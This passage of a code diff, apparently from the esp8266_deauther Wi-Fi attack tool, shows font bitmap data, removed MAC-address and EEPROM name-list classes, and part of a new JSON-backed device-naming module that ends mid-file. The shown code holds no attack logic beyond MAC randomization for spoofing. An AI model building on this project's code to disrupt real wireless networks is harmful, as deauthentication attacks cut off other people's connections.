0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212
0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214
0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215
0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216
0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221
0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222
0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226
0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228
0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229
0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237
0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238
0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239
0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240
0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244
0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253
0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
};
#endif

View File

@ -1,82 +0,0 @@
#include "Mac.h"
Mac::Mac() {
for (int i = 0; i < 6; i++) {
adress[i] = 0x00;
}
}
void Mac::set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth) {
adress[0] = first;
adress[1] = second;
adress[2] = third;
adress[3] = fourth;
adress[4] = fifth;
adress[5] = sixth;
}
void Mac::set(uint8_t* mac) {
for(int i=0; i<6 || i<sizeof(mac); i++){
adress[i] = mac[i];
}
}
void Mac::set(Mac adr) {
for (int i = 0; i < 6; i++) {
adress[i] = adr._get(i);
}
}
void Mac::setAt(uint8_t first, int num) {
if (num > -1 && num < 6) adress[num] = first;
}
bool Mac::valid() {
for (int i = 0; i < 6; i++) {
if (adress[i] != 0xFF && adress[i] != 0x00) return true;
}
return false;
}
String Mac::toString() {
String value = "";
for (int i = 0; i < 6; i++) {
if (adress[i] < 0x10) {
value += "0";
}
value += String(adress[i], HEX);
if (i < 5) value += ":";
}
return value;
}
void Mac::_print() {
Serial.print(Mac::toString());
}
void Mac::_println() {
Serial.println(Mac::toString());
}
uint8_t* Mac::_get() {
return adress;
}
uint8_t Mac::_get(int num) {
return adress[num];
}
bool Mac::compare(Mac target) {
for (int i = 0; i < 6; i++) {
if (adress[i] != target._get(i)) return false;
}
return true;
}
void Mac::randomize() {
uint8_t randomMac[6];
getRandomVendorMac(randomMac);
this->set(randomMac);
}

View File

@ -1,28 +0,0 @@
#ifndef Mac_h
#define Mac_h
#include <Arduino.h>
extern void getRandomVendorMac(uint8_t *buf);
class Mac
{
public:
Mac();
void set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth);
void set(uint8_t* mac);
void set(Mac adr);
void setAt(uint8_t first, int num);
String toString();
void _print();
void _println();
uint8_t* _get();
uint8_t _get(int num);
bool compare(Mac target);
bool valid();
void randomize();
private:
uint8_t adress[6];
};
#endif

View File

@ -1,63 +0,0 @@
#include "MacList.h"
MacList::MacList() {
}
bool MacList::contains(Mac adr) {
for (int i = 0; i < num; i++) {
if (macAdrs[i].compare(adr)) return true;
}
return false;
}
int MacList::add(Mac adr) {
if(num < len && adr.valid()) {
if (!contains(adr)) {
macAdrs[num].set(adr);
num++;
return num - 1;
}
}
return -1;
}
Mac MacList::_get(int i) {
return macAdrs[i];
}
int MacList::getNum(Mac adr) {
for (int i = 0; i < num; i++) {
if (macAdrs[i].compare(adr)) {
return i;
}
}
return -1;
}
void MacList::info() {
Serial.print("Items: " + (String)num + " / " + (String)len + "\n");
for (int i = 0; i < num; i++) {
macAdrs[i]._print();
}
}
void MacList::_clear() {
for (int i = 0; i < num; i++) {
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
num = 0;
}
void MacList::remove(Mac adr) {
for (int i = 0; i < num; i++) {
if (macAdrs[i].compare(adr)) {
macAdrs[i].set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
}
}
void MacList::set(int num, Mac adr) {
macAdrs[num].set(adr);
}

View File

@ -1,29 +0,0 @@
#ifndef MacList_h
#define MacList_h
#define listLen 64
#include "Mac.h"
class MacList
{
public:
MacList();
int add(Mac adr);
void remove(Mac adr);
void set(int num, Mac adr);
void info();
bool contains(Mac adr);
int getNum(Mac adr);
Mac _get(int i);
void _clear();
int num = 0;
Mac macAdrs[listLen];
private:
int len = listLen;
void addPacket(Mac adr);
};
#endif

View File

@ -1,100 +0,0 @@
#include "NameList.h"
NameList::NameList() {
if ((listLength * nameLength + 6) + 1 > maxSize) Serial.println("ERROR: EEPROM OVERFLOW!");
}
void NameList::load() {
len = (int)EEPROM.read(romAdr);
if (len < 1 || len > listLength) NameList::clear();
int num = 0;
Mac _client;
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
for (int h = 0; h < 6; h++) _client.setAt(EEPROM.read(i + h), h);
for (int h = 0; h < nameLength; h++) names[num][h] = EEPROM.read(i + h + 6);
clients.add(_client);
num++;
}
}
void NameList::clear() {
len = 0;
clients._clear();
EEPROM.write(romAdr, len);
EEPROM.commit();
Serial.println("nameList cleared");
}
void NameList::save() {
EEPROM.write(romAdr, len);
int num = 0;
for (int i = 1; i < len * (nameLength + 6) + 1; i += nameLength + 6) {
for (int h = 0; h < 6; h++) EEPROM.write(i + h, clients._get(num)._get(h));
for (int h = 0; h < nameLength; h++) EEPROM.write(i + h + 6, names[num][h]);
num++;
}
EEPROM.commit();
}
void NameList::add(Mac client, String name) {
if (clients.add(client) >= 0) len++;
else if (clients.getNum(client) < 0) Serial.println("WARNING: name list is full!");
uint8_t _buf[nameLength];
name.getBytes(_buf, nameLength);
for (int i = 0; i < nameLength; i++) {
if (i < name.length()) names[clients.getNum(client)][i] = _buf[i];
else names[clients.getNum(client)][i] = 0x00;
}
NameList::save();
}
String NameList::get(int num) {
String returnStr;
if (num >= 0) {
for (int h = 0; h < nameLength; h++) {
if (names[num][h] != 0x00) returnStr += (char)names[num][h];
}
returnStr.trim();
return returnStr;
}
}
Mac NameList::getMac(int num) {
return clients._get(num);
}
String NameList::getByMac(Mac client) {
String returnStr;
int clientNum = clients.getNum(client);
if (clientNum > -1) {
for (int h = 0; h < nameLength; h++) {
if (names[clientNum][h] != 0x00) returnStr += (char)names[clientNum][h];
}
}
return returnStr;
}
int NameList::getNumByMac(Mac client) {
return clients.getNum(client);
}
void NameList::remove(int num) {
for (int i = num; i < len - 1; i++) {
clients.set(num, clients._get(num + 1));
for (int h = 0; h < nameLength; h++) names[num][h] = names[num + 1][h];
}
clients.remove(clients._get(len));
clients.num--;
len--;
save();
}
void NameList::edit(int num, String name) {
for (int i = 0; i < nameLength; i++) {
if (i < name.length()) names[num][i] = name[i];
else names[num][i] = 0x00;
}
}

View File

@ -1,41 +0,0 @@
#ifndef NameList_h
#define NameList_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#define romAdr 0
#define maxSize 1024
#define listLength 50
#define nameLength 18
/*
The NameList holds and saves all your custom device names in the EEPROM.
You can modify the length above, but be careful the EEPROM size is limited.
You may have to call nameList.clear() when uploading for the first time.
*/
extern const bool debug;
class NameList
{
public:
NameList();
void load();
void clear();
void add(Mac client, String name);
void edit(int num, String name);
String get(int num);
String getByMac(Mac client);
int getNumByMac(Mac client);
Mac getMac(int num);
void remove(int num);
int len = 0;
private:
void save();
MacList clients;
uint8_t names[listLength][nameLength];
};
#endif

498
esp8266_deauther/Names.cpp Normal file
View File

@ -0,0 +1,498 @@
#include "Names.h"
Names::Names() {
list = new LinkedList<Device>;
}
void Names::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
JsonArray &arr = parseJSONFile(FILE_PATH, jsonBuffer);
for (int i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
JsonArray &tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(4), false);
sort();
}
prnt(N_LOADED);
prntln(FILE_PATH);
}
void Names::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void Names::save(bool force) {
if (!force && !changed) {
return;
prntln(N_SAVED);
}
String buf = String(OPEN_BRACKET); // [
if (!writeFile(FILE_PATH, buf)) {
prnt(N_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
String name;
int size = list->size();
for (int i = 0; i < size; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(getCh(i)) + String(COMMA); // 1,
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < size-1) buf += COMMA; // ,
if(buf.length() >= 1024){
if (!appendFile(FILE_PATH, buf)) {
prnt(N_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
}
}
buf += String(CLOSE_BRACKET); // ]
if (!appendFile(FILE_PATH, buf)) {
prnt(N_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(N_SAVED);
prntln(FILE_PATH);
changed = false;
}
void Names::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void Names::sort() {
list->sort([](Device & a, Device & b) -> int{
return memcmp(a.mac, b.mac, 6);
});
}
void Names::removeAll() {
internal_removeAll();
prntln(N_REMOVED_ALL);
changed = true;
}
int Names::binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
int res;
int mid = (lowerEnd + upperEnd) / 2;
Device tmpDevice;
while (lowerEnd <= upperEnd) {
tmpDevice = list->get(mid);
res = memcmp(searchBytes, tmpDevice.mac, 6);
if (res == 0) {
return mid;
} else if (res < 0) {
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
}
}
return -1;
}
bool Names::check(int num) {
if (internal_check(num)) return true;
prnt(N_ERROR_NOT_FOUND);
prntln(num);
return false;
}
int Names::findID(uint8_t* mac) {
